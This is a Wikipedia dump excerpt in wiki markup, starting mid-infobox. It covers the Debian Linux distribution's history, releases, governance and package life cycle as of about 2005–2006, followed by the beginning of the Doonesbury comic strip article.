|kernel_type = [[Kernel (computer science)#Monolithic_kernels|Monolithic kernel]]
|ui = text ([[Bash]])/ Graphical ([[X Window System|X]])
|license = Free licenses, such as [[GNU General Public License|GPL]], that conform to the [[Debian Free Software Guidelines]]
|website = [http://www.debian.org/ www.debian.org]
}}
'''Debian''', organized by the '''Debian Project''', is a widely used [[Linux distribution|distribution]] of [[free software]] developed through the collaboration of volunteers from around the world. Since its inception, the released system, '''Debian [[GNU/Linux]]''', has been based on the [[Linux kernel]], with many basic tools of the [[operating system]] from the [[GNU]] project.

Debian is known for its adherence to the [[Unix philosophy|Unix]] and [[free software]] philosophies, and for its abundance of options &amp;mdash;the current release includes over fifteen thousand [[software package]]s for eleven [[computer architecture]]s, ranging from the [[ARM architecture]] commonly found in [[embedded system]]s and the [[IBM]] [[s390]] [[Mainframe computer|mainframe]] architecture to the more common [[x86]] and [[PowerPC]] architectures found in modern [[personal computer]]s. Debian Linux is the basis for several other distributions, including [[Knoppix]] and [[Ubuntu Linux|Ubuntu]].

Debian is also known for its [[package management system]], especially APT, the [[Advanced Packaging Tool]], for its strict policies regarding the quality of its packages and releases, and for its open development and testing process. These practices afford easy upgrades between releases without rebooting and easy automated installation and removal of packages.

Debian is supported by donations through [[Software in the Public Interest]], a [[non-profit organization|non-profit]] [[umbrella organization]] for free software projects.

[[Image:debianaptget.jpg|right|150px|thumb|APT shown on Debian Sarge.]]

==History==
:''See ''[http://www.debian.org/doc/manuals/project-history/ A Brief History of Debian]'' for a more comprehensive history.''

The Debian distribution was first announced on [[August 16]], [[1993]] by [[Ian Murdock]], then a student at [[Purdue University]]. Murdock initially called his system the &quot;Debian Linux Release&quot;.{{ref|1993-announcement}} In the ''[[Debian Manifesto]]'' he had called for the creation of a Linux distribution to be maintained in an open manner, in the spirit of Linux and GNU. He chose the name by combining the first name of his then-girlfriend (now wife) Debra with his own first name. The combination formed the [[portmanteau]] &quot;Debian&quot;, pronounced as the corresponding syllables of these names are in [[American English]]: {{IPA|/d&amp;#603;b&amp;#712;i&amp;#720;j&amp;#601;n/}}.

The Debian Project grew slowly at first and released its first 0.9x versions in 1994 and 1995. The first ports to other architectures were begun in 1995, and the first 1.x version of Debian was released in 1996. In 1996, [[Bruce Perens]] replaced Ian Murdock as the project leader. At the suggestion of fellow developer [[Ean Schuessler]], he guided the editing process of the [[Debian Social Contract]] and the [[Debian Free Software Guidelines]], defining fundamental commitments for the development of the distribution. He also initiated the creation of the legal [[umbrella organization]] [[Software in the Public Interest]].

Bruce Perens left in 1998 before the release of the first [[glibc]]-based Debian, 2.0. The Project proceeded to elect new leaders and made two more 2.x releases, each including more ports and more packages. [[Advanced Packaging Tool|APT]] was deployed during this time and the first port to a non-Linux kernel, [[Debian GNU/Hurd]], was started as well. The first [[Linux distribution]]s based on Debian, [[Corel Linux]] and [[Stormix]]'s Storm Linux, were started in 1999. Though no longer developed, these distributions were the first of many [[#Distributions based on Debian|distributions based on Debian]].

In late 2000, the Project made major changes to archive and release management, reorganizing software archive processes with new &quot;package pools&quot; and creating a ''testing'' branch as an ongoing, relatively stable staging area for the next release. In 2001, developers began holding an annual conference called ''[[Debconf]]'' with talks and workshops for developers and technical users.

==Debian releases==
The latest released version of Debian is called ''stable''. [[As of 2005]], the latest stable release is version 3.1, also called ''sarge''.

In addition, a stable release gets minor updates (called ''point releases'') marked, for example, like 3.0r1.

The list of Debian releases, their [[code name]]s and release dates includes:

* 3.1 &amp;ndash; [[sarge]], [[6 June]] [[2005]]
* 3.0 &amp;ndash; [[woody (Debian)|woody]], [[19 July]] [[2002]]
* 2.2 &amp;ndash; [[potato (Debian)|potato]], [[15 August]] [[2000]]
* 2.1 &amp;ndash; [[slink (Debian)|slink]], [[9 March]] [[1999]]
* 2.0 &amp;ndash; [[hamm (Debian)|hamm]], [[24 July]] [[1998]]
* 1.3 &amp;ndash; [[bo (Debian)|bo]], [[2 June]] [[1997]]
* 1.2 &amp;ndash; [[rex (Debian)|rex]], [[12 December]] [[1996]]
* 1.1 &amp;ndash; [[buzz (Debian)|buzz]], [[17 June]] [[1996]]

Because a CD vendor made an unofficial, broken release labeled &quot;1.0&quot;, an official &quot;1.0&quot; release was never made. The release after 3.1 is codenamed ''etch''.

The [[code name]]s of Debian releases are names of characters from the movie ''[[Toy Story]]''.

:''See ''http://debian.semistable.com/releases.gif'' for a graph of release dates, updates, and security support.''

==Ports to various kernels==
The Project describes itself as creating a &quot;Universal Operating System&quot; and several [[porting|ports]] of all [[userland]] software to various operating system [[Kernel (computer science)|kernels]] are under development:

*''Debian Linux'', on [[Linux kernel|Linux]] &amp;mdash; the original, officially released port
*''[[Debian GNU/Hurd]]'', on [[GNU Hurd]]
*''[[Debian GNU/NetBSD]]'', on the [[NetBSD]] kernel
*''[[Debian GNU/kFreeBSD]]'', on the [[FreeBSD]] kernel
*''[[Nexenta OS]]'' is an unofficial port to the [[OpenSolaris]] kernel

There have been no official releases of the non-Linux ports yet, so currently Debian is exclusively a Linux distribution.

==Development versions==
Software packages in development are uploaded to branches called ''unstable'' (alias ''sid'') and ''experimental''. Normally, software packages uploaded to ''unstable'' are versions released by the original ''upstream'' developer that are themselves stable, but with packaging and other Debian-specific modifications introduced by Debian developers that may be new and untested. Software which is itself unstable or otherwise not yet ready for the ''unstable'' branch is typically placed in ''experimental''.

After a software package has remained in ''unstable'' for a certain length of time depending on the urgency of the changes in the new version, that package is automatically migrated to another branch, called ''testing'', if no more serious (''release-critical'') bugs in the package are reported and if the other packages on which that package depends for functionality are themselves qualified for inclusion in ''testing'' by the same criteria.

As updates to Debian software packages between official releases do not contain new features, ''testing'' and ''unstable'' branches are used by some for their newer packages. However, the software in ''testing'' and ''unstable'' is less tested; in the latter, incautious upgrades can sometimes seriously break operating software functionality.

The next stable release, currently in ''testing'' and codenamed ''etch'', is tentatively planned for December 2006.

==Project organization==
[[Image:Debian-organigram.png|thumb|300px|Diagram of the organisational structure of the Project]]

The Debian Project is a volunteer organization with three foundational documents:

*The [[Debian Social Contract]] defines a set of basic principles by which the project and its developers conduct affairs.
*The [[Debian Free Software Guidelines]] define the criteria for &quot;free software&quot; and so what software is permissible in the distribution, as referenced in the Social Contract. These guidelines have also been adopted as the basis of the [[Open Source Definition]].
*[http://www.debian.org/devel/constitution The Debian Constitution] describes the organizational structure for formal decision-making within the Project, and enumerates the powers and responsibilities of the Debian Project Leader, the Debian Project Secretary, and the Debian Developers generally.

Currently, the project includes more than a thousand developers. Each of them sustains some niche in the project, be it [[software package|package]] maintenance, [[software documentation]], maintaining the project infrastructure, [[quality assurance]], or release coordination. Package maintainers have jurisdiction over their own packages, although packages are increasingly co-maintained. Other tasks are usually the domain of smaller, more collaborative groups of developers.

The project maintains official [[mailing list]]s and conferences for communication and coordination between developers. For issues with single packages or domains, a public [[computer bug|bug]] tracking system is used by developers and end-users both. Informally, [[Internet Relay Chat]] channels (primarily on the [[OFTC]] and [[freenode|Freenode]] networks) are used for communication among developers and users as well.

Together, the Developers may make binding general decisions by way of a General Resolution or election. All voting is conducted by [[Schulze method|Cloneproof Schwartz Sequential Dropping]], a [[Condorcet method]] of voting. A Project [[Leader]] is elected once per year by a vote of the Developers; in April 2005, [[Branden Robinson]] was voted into this position, succeeding [[Martin Michlmayr]]. The Debian Project Leader has several special powers, but this power is far from absolute and is rarely utilized. Under a General Resolution, the Developers may, among other things, recall the leader, reverse a decision by him or his delegates, and amend the constitution and other foundational documents.

The Leader sometimes delegates authority to other developers in order for them to perform specialized tasks. Generally this means that a leader delegates someone to start a new group for a new task, and gradually a team gets formed that carries on doing the work and regularly expands or reduces their ranks as they think is best and as the circumstances allow.

Perhaps a more important person to Debian than the Leader is the [[software release|Release]] Manager, who sets goals for the next &quot;stable&quot; release, supervises the process, and makes the final decision as to when to release.

A list of many important positions in the Debian Project is available at [http://www.debian.org/intro/organization the Debian organization web page].

==Developer recruitment, motivation, and resignation==
The Debian Project has a steady influx of applicants wishing to become Developers. These applicants must undergo an elaborate vetting process which establishes their identity, motivation, understanding of the Project's goals (embodied in the Social Contract), and technical competence.  More information on the &quot;New Maintainer&quot; process is available at [http://www.debian.org/devel/join/newmaint the Debian New Maintainer page].

Debian Developers join the Project for any number of reasons; some that have been cited in the past include:
*a desire to contribute back to the [[Free software movement|Free Software community]] (practically, all applicants are users of [[Free Software]]);
*a desire to see some specific software task accomplished (some view the Debian user community as a valuable testing or proving ground for new software);
*a desire to make, or keep, Free Software competitive with [[proprietary software|proprietary alternatives]];
*a desire to work closely with people that share some of their aptitudes, interests, and goals (there is a very strong sense of [[community]] within the Debian Project which some applicants do not experience in their paid jobs);
*a simple enjoyment of the iterative process of [[software development]] and maintenance (some developers have a nearly obsessive level of dedication to refinement and enhancement of software).

Debian Developers may resign their positions at any time by orphaning the packages they were responsible for and sending a notice to the developers and the [[public key infrastructure|keyring]] maintainer (so that their upload authorization can be revoked).

==Debian package life cycle==
[[Image:Debian-package-cycle.png|thumb|300px|Flowchart of the life cycle of a Debian package]]

Each Debian software package has a maintainer who keeps track of releases by the &quot;upstream&quot; authors of the software and ensures that the package is compliant with Debian Policy, coheres with the rest of the distribution, and meets the standards of quality of Debian. In relations with users and other developers, the maintainer uses the bug tracking system to follow up on bug reports and fix bugs. Typically, there is only one maintainer for a single package, but increasingly small teams of developers &quot;co-maintain&quot; larger and more complex packages and groups of packages.

Periodically, a package maintainer makes a release of a package by uploading it to the &quot;incoming&quot; directory of the Debian package archive (or an &quot;upload queue&quot; which periodically batch-transmits packages to the incoming directory). 
Package uploads are automatically processed to ensure that the [[upload]] is well-formed (all the requisite files are in place) and that the package bears the digital signature -- produced with [[OpenPGP]]-compatible software -- of a Debian developer.  All Debian developers have [[public key]]s.  Packages are signed to be able to reject uploads from hostile outsiders to the project, and to permit accountability in the event that a package contains a serious [[Computer bug|bug]], a violation of policy, or malicious code.

If the package in incoming is found to be validly signed and well-formed, it is installed into the archive into an area called the &quot;pool&quot; and distributed every day to hundreds of [[mirror (computing)|mirror]]s worldwide. Initially, all package uploads accepted into the archive are only available in the &quot;unstable&quot; suite of packages, which contains the most up-to-date version of each package.

However, new code is also untried code, and those packages are only distributed with clear disclaimers. For packages to become candidates for the next &quot;stable&quot; release of the Debian distribution, they first need to be included in the &quot;testing&quot; suite. The requirements for a package to be included in &quot;testing&quot; is that it:

*must have been in ''unstable'' for the appropriate length of time (the exact duration depends on the &quot;urgency&quot; of the upload).
*must not have a greater number of &quot;release-critical&quot; bugs filed against it than the current version in testing.  Release-critical bugs are those bugs which are considered serious enough that they make the package unsuitable for release.
*must be compiled for all architectures slated to release.
*must be a package for an architecture that is slated to release (in other words, packages for architectures that aren't scheduled to release with all the rest are never considered for &quot;testing&quot;).
*must not depend on versions of any packages that do not meet the above conditions.

Thus, a release-critical bug in a package on which many packages depend, such as a shared library, may prevent many packages from entering the &quot;testing&quot; area, because that library is considered deficient.

Periodically, the Release Manager publishes guidelines to the developers in order to ready the release, and in accordance with them eventually decides to make a release. This occurs when all important software is reasonably up-to-date in the release-candidate suite for all architectures for which a release is planned, and when any other goals set by the Release Manager have been met.  At that time, all packages in the release-candidate suite (&quot;testing&quot;) become part of the released suite (&quot;stable&quot;).

It is possible for a package -- particularly an old, stable, and seldom-updated one -- to belong to more than one suite at the same time. The suites are simply collections of pointers into the package &quot;pool&quot; mentioned above.

==Criticism==
An oft-stated criticism of Debian is that, due to Debian's longer release cycles, the released ''stable'' branch can become too old to be useful for some purposes. This criticism is countered to some degree by the existence of:
* Repositories of [[backport]]ed packages (updated package versions compiled in ''stable'' environment), like those on [http://www.backports.org/ backports.org] and [http://www.apt-get.org apt-get.org]. The usage of packported packages will, however, degrade the ease of maintaining the system, especially the task of upgrading the system to newer versions of the distribution (for example, from 3.0 to 3.1).
* The ''testing'' branch of Debian, which contains updated software that is more stable than its name might indicate, but does not have official support. The testing branch is not suitable for all uses as it officially does not have security support, even though a group of Debian developers are making efforts to improve this [http://secure-testing.debian.net/].

These longer releases cycles, however, contribute greatly to the famous stability of Debian software, and ensure that Debian supports numerous platforms, numbering eleven in the latest release.

Another criticism is that some software is not available in Debian because it does not satisfy the project's strict requirements of freeness. For example, the [[Adobe Acrobat]] reader is not provided by Debian. There are at least two ways of dealing with the lack of such software:
* Using alternative software. For instance there are other [[Portable Document Format|PDF]] readers available in the Debian distribution.
* Installing the software from [[third party]] sources. Some software, such as [[Opera (web browser)|Opera]], is even available as Debian-specific packages from sources outside the official distribution.

==See also==
*[[List of Linux distributions]]
*[[Comparison of Linux distributions]]

===Distributions based on Debian===
:''A more comprehensive list is available at http://www.debian.org/misc/children-distros.html''.
*[[Knoppix]] - a Live CD, with several derivatives (including [[Kanotix]], [[Morphix]], [[Quantian]], [[Whoppix]], [[Xfld]], [[Kurumin Linux]]).
*[[Mepis]] - a [[KDE]]-centric distribution for [[newbie|novice]]s.
*[[Ubuntu Linux|Ubuntu]] - a [[GNOME]]-centric distribution. A Live CD is available along with several derivatives (including [[Kubuntu]] which instead has [[KDE]] as its desktop environment).
*[[Xandros]] - a commercially supported derivative of [[Corel Linux]].
*[[Skolelinux]] - designed for schools and educational purposes.
*[[Open Colinux]] - a commercial derivative that runs within Windows.

==External links==
{{Commons|Debian}}

===Official Project resources===
*[http://www.debian.org/ Official Project website]
*[http://www.debian.org/releases/stable/installmanual Installation Manual] for the current ''stable'' release
*[http://www.debian.org/doc/manuals/reference/reference.en.html Debian Reference] Manual
*[http://www.debian.org/doc/manuals/project-history/ A Brief History of Debian]
*[http://www.debian.org/doc/debian-policy/ Debian Policy Manual]

===Community sites===
*[http://www.debian-administration.org/ Debian Administration] System Administration Tips and Resources
*[http://www.debianplanet.org/ Debian Planet] news and discussion site
*[http://planet.debian.org/ Planet Debian] developer [[weblog]]s
*[http://forums.debian.net/ Debian User Forums]
*[http://www.debianhelp.org/ Debian Help] Wiki, bookmarks and forums
*[http://wiki.debian.org/ Official Debian.org collaboration Wiki]
*[http://www.debianguide.org/wiki/moin.cgi/FrontPage Unofficial Debian Guide Wiki]
*[http://www.debianhelp.co.uk debian Help for system administrators and howtos,articles and news]

===Guides and additional documentation===
*[http://newbiedoc.berlios.de/ NewbieDoc]
*[http://wiki.debian.org/DebianCustomCD/ Building a Custom Debian CD Set]
*[http://wiki.linuxhelp.net/index.php/Debian_GNU/Linux Linuxhelp]
*Krafft, Martin F. [http://debiansystem.info/ The Debian System]. Published by [http://www.opensourcepress.de/index.php?26&amp;backPID=15&amp;tt_products=16 Open Source Press] / [http://www.nostarch.com/frameset.php?startat=debian No Starch Press], 2005. ISBN 3-937514-07-4 / ISBN 1-593270-69-0
*[http://www.oreilly.com/catalog/debian/chapter/book/ ''Learning Debian GNU/Linux''], by Bill McCarty

===Miscellaneous===
*{{Distrowatch|debian|NAME=Debian GNU/Linux}} ([http://distrowatch.com/dwres.php?resource=review-debian review])
*{{OSDir|PAGE=395|SHOT=36|NAME=Debian GNU/Linux}}
*[http://linuxmafia.com/faq/Debian/installers.html Overview of Debian installers]
*[http://www.emdebian.org/ Embedded debian] and [http://www.emdebian.org/twiki/bin/view its Wiki].
*[http://www.debian.org/devel/debian-jr/index.en.html Debian Jr. Project] to improve suitability for children
*[http://wiki.debian.net/?DebianAMD64 Debian for AMD64]
*[http://women.alioth.debian.org/ Debian Women Project] to increase the participation of women in Debian
*[http://openskills.info/infobox.php?ID=248 Chronology of Debian releases]
*[http://www.debian-unofficial.org/ Debian-Unofficial.org] Repository for packages not available within the official Debian repository

==References==
#{{note|1993-announcement}} - {{newsgroup reference Google | Author=Murdock, Ian A. | Title=New release under development; suggestions requested | Date=[[1993-08-16]] | Newsgroup=comp.os.linux.development | ID=CBusDD.MIK@unix.portal.com | URL=http://groups.google.com/group/comp.os.linux.development/msg/a32d4e2ef3bcdcc6?output=gplain}}

{{Linux-distro}}

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  <page>
    <title>Doonesbury</title>
    <id>8243</id>
    <revision>
      <id>41924119</id>
      <timestamp>2006-03-02T17:30:33Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Time-magazine-cover-doonesbury.jpg|thumb|''Doonesbury'' was featured on the cover of the Feb. 9, 1976 issue of ''TIME''. Clockwise, from bottom left: Mark, BD, Joanie, Mike, Ginny, Zonker; Duke sits on the chair in the center]]
'''''Doonesbury''''' is a [[comic strip]] by [[Garry Trudeau]], popular in the [[United States]] and other parts of the world.  The title comes from the name of one of the main characters, Michael Doonesbury, a character Trudeau originally modeled after himself.  The character's name is a combination of the word ''doone'' &amp;mdash; [[1960s]] [[preparatory school|prep school]] [[slang]] for &quot;someone unafraid to appear foolish&quot; &amp;mdash; with the [[family name|surname]] of the roommate who was given that [[nickname]], [[Charles Pillsbury]]. The strip marked its official thirty-fifth anniversary on [[October 26]], [[2005]].

==History==
[[Image:Db701026.gif|thumb|The very first ''Doonesbury'' cartoon, from [[26 October]] [[1970]].]]

The comic strip was a continuation of ''Bull Tales'', which appeared in the  [[Yale University]] student newspaper  the ''[[Yale Daily News]]'' beginning [[September]] [[1968]].  It focused on local campus events at Yale.  The executive [[editor]] of the paper in the late [[1960s]], [[Reed Hundt]], who later served as the [[chairman]] of the [[Federal Communications Commission|FCC]], noted that the ''Daily News'' had a flexible policy about publishing cartoons: &quot;We publish[ed] pretty much anything.&quot;

As ''Doonesbury'', the strip debuted as a [[daily strip]] in about two dozen [[newspaper]]s on [[October 26]], [[1970]], the first strip from the [[Universal Press Syndicate]].  A [[Sunday strip]] began on [[March 21]], [[1971]]. Many of the early strips were reprintings of the ''Bull Tales'' cartoons, with some changes to the drawings and plots. B.D.'s helmet changed from having a &quot;Y&quot; (for Yale) to a star (for the fictional Walden College). Mike and B.D. started ''Doonesbury'' as roommates; they were not roommates in the original. 

It became well known for its social and political (usually [[american liberalism|liberal]]) commentary, always timely, and peppered with wry and [[irony|ironic]] humor. It is presently syndicated in approximately 1,400 newspapers worldwide.  The decision, on [[September 12]], [[2005]] to drop ''Doonesbury'' from [[The Guardian]] (UK) was reversed less than 24 hours later, after the strip's followers voiced strong discontent.

Like ''[[Li'l Abner]]'' and ''[[Pogo]]'' before it, ''Doonesbury'' blurred the distinction between editorial cartoon and the funny pages. In May 1975, the strip won Trudeau a [[Pulitzer Prize for Editorial Cartooning]], the first strip cartoon to be so honored. That month, Holt, Rinehart &amp; Winston, the publishers of collections of Doonesbury until the mid-1980s took out an ad in the ''New York Times Book Review'', marking the occasion by saying: It's nice for Trudeau and Doonesbury to be so honored, &quot;but it's quite another thing when the Establishment clutches all of Walden Commune to its bosom.&quot; That same year, then-U.S. President [[Gerald Ford]] acknowledged the stature of the comic strip, telling the Radio and Television Correspondent Association at their annual dinner: &quot;There are only three major vehicles to keep us informed as to what is going on in [[Washington, D.C.|Washington]]: the electronic [[mass media|media]], the print media, and Doonesbury &amp;mdash; not necessarily in that order.&quot; {{ref|AmHumor511}}

[[Image:stonewalldb.gif|thumb|The famous ''Doonesbury'' &quot;Stonewall&quot; strip, referring to the [[Watergate scandal]], from [[12 August]] [[1974]];  awarded the [[Pulitzer Prize]].]]

In [[1977]], Trudeau wrote a script for a twenty-six minute long animated &quot;special.&quot; ''A Doonesbury Special'' was produced and directed by Trudeau, along with [[John Hubley]] and [[Faith Hubley]]. The ''Special'' was first broadcast by [[NBC]] in 1977. It won a Special Jury Award at the Cannes International Film Festival for best short film, and received an Academy Award Nomination (for best animated short film), both in 1978. Voice actors for the special included [[Barbara Harris (actress)|Barbara Harris]], [[William Sloane Coffin|William Sloane Coffin, Jr.]], [[Jack Gilford]] and [[Will Jordan]]. Two songs &quot;sung&quot; by the character of Jimmy Thudpucker (titled &quot;Stop in the Middle&quot; and &quot;I Do Believe&quot;, the performances were credited to &quot;Jimmy Thudpucker&quot;) were also made part of the ''Special''.

The strip underwent a significant change after Trudeau returned to it from a 22 month hiatus  (from January [[1983]] to October [[1984]]), during which he helped create a Doonesbury [[Broadway theatre|Broadway production]].  Before the break in the strip, the characters were eternal college students, living in a commune together near &quot;Walden College,&quot; which was modelled after Trudeau's alma mater.  

The Broadway show, entitled ''Doonesbury: A Musical Comedy'', opened at the Biltmore Theater in [[New York City]] on [[November 21]], [[1983]]. A cast album was recorded and released by [[MCA Records]]. The cast featured [[Mark Linn-Baker]] as Mark, [[Keith Szarabajka]] as B.D., [[Gary Beach]] as Duke and [[Lauren Tom]] as Honey. 

=== Musical plot summary ===
The musical's storyline opened the day before graduation at Walden College, with many of the characters (Mike, B.D., Mark, Zonker, Boopsie) preparing for the day. B.D. has been drafted into professional football (later revealed to be the [[Dallas Cowboys]]), Mike is preparing to propose to J.J., and Zonker has a flashback to his days as a pro suntanner. Meanwhile, Duke and Honey are at Duke's trial for cocaine possession in Los Angeles County, California. The action returns to Walden, where Mike is on the phone with J.J., upset that Mike has invited her mother, Joanie, who arrives with her infant son from her second marriage, Jeffrey. Boopsie and the cast discuss her plans to become a Dallas Cowboys cheerleader, following B.D. Mark reveals Mike's plan to propose to J.J. to Zonker and Joanie. 

Back at the courthouse, Duke is found guilty and sentenced to probation, required by the court to open and manage a drug rehabilitation center for the next five years. Then back at Walden, J.J. arrives, only to discover that Mike has planned out their weekend down to the very minute. Joanie returns from grocery shopping, and Mike attempts to mediate the tension between mother and daughter. This fails, and J.J. storms out. Meanwhile, at the campus radio station, Mark is interviewing Roland Hedley, and the two campaign on the air to get Mark a job after graduation.

Back at Walden Commune, Mike is preparing dinner while Boopsie is exercising, Joanie is nursing Jeffrey, Zonker is building a beer-can pyramid, and B.D. is ranting about all of them. Mark returns from the radio station, and J.J. offers to help Mike with dinner. When the meal is served, the cast mocks Mike's cooking. As dinner concludes, Zonker attempts to renew the lease on the commune, but is turned down. As Act I ends, it's discovered that Duke and Honey are having them evicted after graduation for his court-ordered drug rehabilitation center.
&lt;!-- Add Act II or move to sub-page? Please vote on the talk page --&gt;

At the conclusion of the musical, Mark had been offered a radio job at a station on Long Island, New York, B.D. had been traded from Dallas to Tampa Bay, Mike had proposed to J.J. (who accepted) and was preparing to enter business school, and Duke was left in a drug-induced rant. Breaks in the action and scene-changes were accomplished with voice overs behind a screen of the White House, while jokes about the Reagan White House were made.

=== After the hiatus ===
The strip resumed some time after the events in the musical, and some further changes took place. While Mike, Mark, Zonker, B.D. and Boopsie were all now graduates, B.D. and Boopsie were living in Malibu, where B.D. was a third-string quarterback for the Los Angeles Rams, and Boopsie was making a living from walk-on and cameo roles. Mark was living in Washington D.C., working for NPR. Michael and J.J. had gotten married, and Mike had dropped out of business school to start work in an advertising agency in New York City. Zonker, still not ready for the &quot;real world,&quot; was living with Mike and J.J. until he was accepted as a medical student at his Uncle Duke's &quot;Baby Doc College&quot; in Haiti. Since then, the main characters' age and career development has tracked that of standard media portrayals of baby boomers, with jobs in advertising, law enforcement, and the [[dot-com]] boom. Current events are mirrored through the original characters, their offspring (the &quot;second generation&quot;), and occasional new characters.

Garry Trudeau received the [[National Cartoonist Society]] Newspaper Comic Strip Award for 1994, and their [[Reuben Award]] for 1995 for his work on the strip.

[[Image:Db051128.gif|thumb|The ''Doonesbury'' strip from [[28 November]] [[2005]], reuniting the characters of Michael Doonesbury and B.D.]]

==Characteristic style==
Even though Doonesbury frequently features major real-life US politicians, they are rarely depicted with their real face. Originally, strips featuring the President of the US would show an external view of the [[White House]], with dialog emerging from inside. More recently, personal symbols reflecting some aspect of their character are used. For example, since the Vice Presidency of [[George H. W. Bush]], members of the Bush family have been depicted as invisible. George H. W. Bush is depicted as completely invisible. This was originally a reference to the then Vice President's perceived low profile and his denials of knowledge of the [[Iran-Contra Affair]]. (It should be noted that in one strip ([[20 March]], [[1988]]) the vice president almost materialized, but only made it to an outline before reverting to invisibility.) President [[George W. Bush]] was later symbolized by a [[Stetson]] hat atop a giant [[asterisk]] (a la [[Roger Maris]]), because he was Governor of [[Texas]] prior to his presidency (Trudeau accused him of being &quot;all hat and no cattle.&quot;) and also due to the controversy surrounding the [[U.S. presidential election, 2000|2000 presidential elections]]. Later, President Bush's symbol was changed to a [[Roman Empire|Roman]] military helmet (again, atop an asterisk) representing imperialism. Towards the end of his first term, the helmet became battered, with the giltwork starting to come off and with clumps of bristles missing from the top. Other notable symbols include a waffle for [[Bill Clinton]], an unexploded (but sometimes lit) bomb for [[Newt Gingrich]], a feather for [[Dan Quayle]] and most recently a giant hand for [[Arnold Schwarzenegger]] (who is addressed by other characters as &quot;Herr Gropenführer&quot;).

The unnamed college attended by the main characters was later given the name &quot;Walden College,&quot; was revealed to be in Connecticut (the same state as Yale), and was depicted devolving into a third-rate institution under the weight of [[grade inflation]], slipping academic standards, and the end of [[tenure]], issues that Trudeau has consistently revisited since the early 90s.  Many of the second generation of Doonesbury characters are attending Walden, a venue Trudeau uses to advance his concerns about slipping academic standards in America. 

Trudeau also delighted and intrigued readers by displaying fluency in various forms of [[jargon]], including that of [[real estate]] agents, [[flight attendant]]s, computer [[nerd]]s, [[journalist]]s, presidential aides, and soldiers in Iraq.  Before the invasion of [[Iraq]], many Doonesbury-watchers agreed that Trudeau seemed to be losing his edge, but the strips since then have been seen by some as a return to form.

== Major characters ==
* [[Mike Doonesbury]] - Ex-advertising man and co-founder of a software start-up; ex-husband of JJ, husband of Kim, dad to Alex.
* [[Mark Slackmeyer]] - Former campus revolutionary turned radio commentator, and one of several openly [[gay]] characters in the strip.
*[[B.D. (Doonesbury) | B.D.]] - Husband of [[Boopsie]].  A reservist and veteran of Vietnam and both Gulf Wars, he lost a leg in Iraq.  Known for his conservative views and (until [[21 April]] [[2004]]) wearing a series of helmets (originally football helmets, and later desert camouflage, riot gear, and California Highway Patrol).  Even Boopsie doesn't know what 'B.D.' stands for (maybe nothing - he has stated that his last name is &quot;D&quot;).  The character was originally inspired by [[Brian Dowling (football)|Brian Dowling]], the captain of Yale's football team in [[1968]].
* [[Zonker Harris]] - Stereotypical [[hippie]] turned ennobled lord, professional tanner, med student, Lieutenant Governor of [[American Samoa|Samoa]], and occasional nanny.  After his campaign to enable public access to some of California's beaches, a beach access road in [[Malibu]] was named in his honor. He now works at McFriendlys.
* [[Joanie Caucus]] - Ex-[[homemaker|housewife]] and &quot;[[feminism|libbie]]&quot; who left her first husband Clinton Caucus to join Mike and Mark &quot;[[On the Road|on the road]]&quot; in Colorado, went to law school, and worked with Mike on the [[John Bayard Anderson|John Anderson]] campaign.  She got re-married to journalist Rick Redfern, with whom she had a second child, Jeff.
* [[Rick Redfern]] - Wife to Joanie and father to Jeff. Works as a reporter for the [[Washington Post]]. Somewhat clueless as a father.
* [[J.J. (Doonesbury) | J.J.]] - Daughter of Joanie (JJ is 'Joan Junior'). She was originally engaged to Zeke, but married Mike, left Mike for Zeke, and later won a [[MacArthur Foundation|MacArthur Fellowship]].  Performance artist.  Mother of Alex Doonesbury.
* [[Zeke Brenner]] - Former caretaker for Duke's house.  He married JJ on the second try.
* [[Kim Rosenthal]] - Jewish-raised Vietnamese orphan, [[geek]] and Mike's second wife. Dropped out of a program towards a [[Doctorate]] in [[Computer Science]] at [[Massachusetts Institute of Technology|MIT]] because it was &quot;too easy&quot;.
* [[Alex Doonesbury]] - Teenage daughter of Mike and J.J. who now lives with her father and Kim. More or less a liberal [[foil (literature)|foil]] for her more [[moderate]] father.
* [[Jimmy Thudpucker]] - Overnight success as a rock star at 19.  Later caught politics and moved to Vietnam.  Modelled partially on a combination of Bob Dylan and John Denver.
* Barbara Ann Boopstein ([[Boopsie]]) - Cheerleader turned actress, model, New Age channeler, and generic starlet. She is married to B.D.; they have a daughter named Samantha.
* [[Zipper Harris]] - Zonker's nephew and current Walden undergraduate; his roommate is Jeff Redfern.
* [[Phred (Doonesbury)|Phred]] - The [[Viet Cong]] &quot;terrorist&quot; whom B.D. befriended when lost in [[Vietnam]], later Vietnamese delegate to the [[United Nations]], last seen working for [[Nike, Inc.|Nike]] in Vietnam.
&lt;!-- Note: Roland HAS been listed as Roland Burton Hedley, Jr. AND Roland Burton Hedley, III in Doonesbury. However, the &quot;III&quot; appears on the official Doonesbury website --&gt;
* [[Roland Hedley | Roland Burton Hedley, III]] - Former print journalist (to use that term generously), moved to television and then the [[Internet]]. Currently working for [[ABC News]].
* [[Jeff Redfern]] - Joanie and Rick's son. Jeff is currently attending Walden (and rooming with Zipper Harris), and is an intern for the [[Central Intelligence Agency]].
*[[Uncle Duke]], &quot;Uncle&quot; of Zonker, former Rolling Stone writer, governor of [[American Samoa]] and ambassador to China, once the [[proconsul]] of Panama, former owner of &quot;Club Scud&quot; in Kuwait City, ex-orphanage manager (where he realized one of the orphans, Earl, was his son), and former Mayor of Al Amok, Iraq.  He has also been a drug smuggler (and heavy user), an enemy of [[John Denver]], toady to [[Donald Trump]], and a zombie slave to ex-Haitian President [[Jean-Claude Duvalier|Duvalier]].  His character was initially based on [[Gonzo journalism|Gonzo journalist]] [[Hunter S. Thompson]]. Duke is said to be &quot;Like [[Forrest Gump]]'s evil twin.&quot;

== Other characters  ==
*[[Honey Huan]], Duke's constant companion - Inspired by [[Tang Wensheng]] ([[Mao Zedong|Mao]]'s interpreter when meeting with [[Richard Nixon|Nixon]]) and partially [[Marcie]] of [[Peanuts]].
*[[Lacey Davenport]], Republican U.S. Congresswoman, now deceased - reminiscent of [[Millicent Fenwick]]. Trudeau was asked, in 1976, if the similarities were deliberate, and laughed at the reporter, saying &quot;I really don't know her that well.&quot; Fenwick was said, in the same article, to not know about ''Doonesbury'' and could not remember having met Trudeau. {{ref|Flashbacks_Oct76}}
*[[Phil Slackmeyer]] - Father of Mark. A wealthy, conservative, corporate businessman.  He died in 2003.
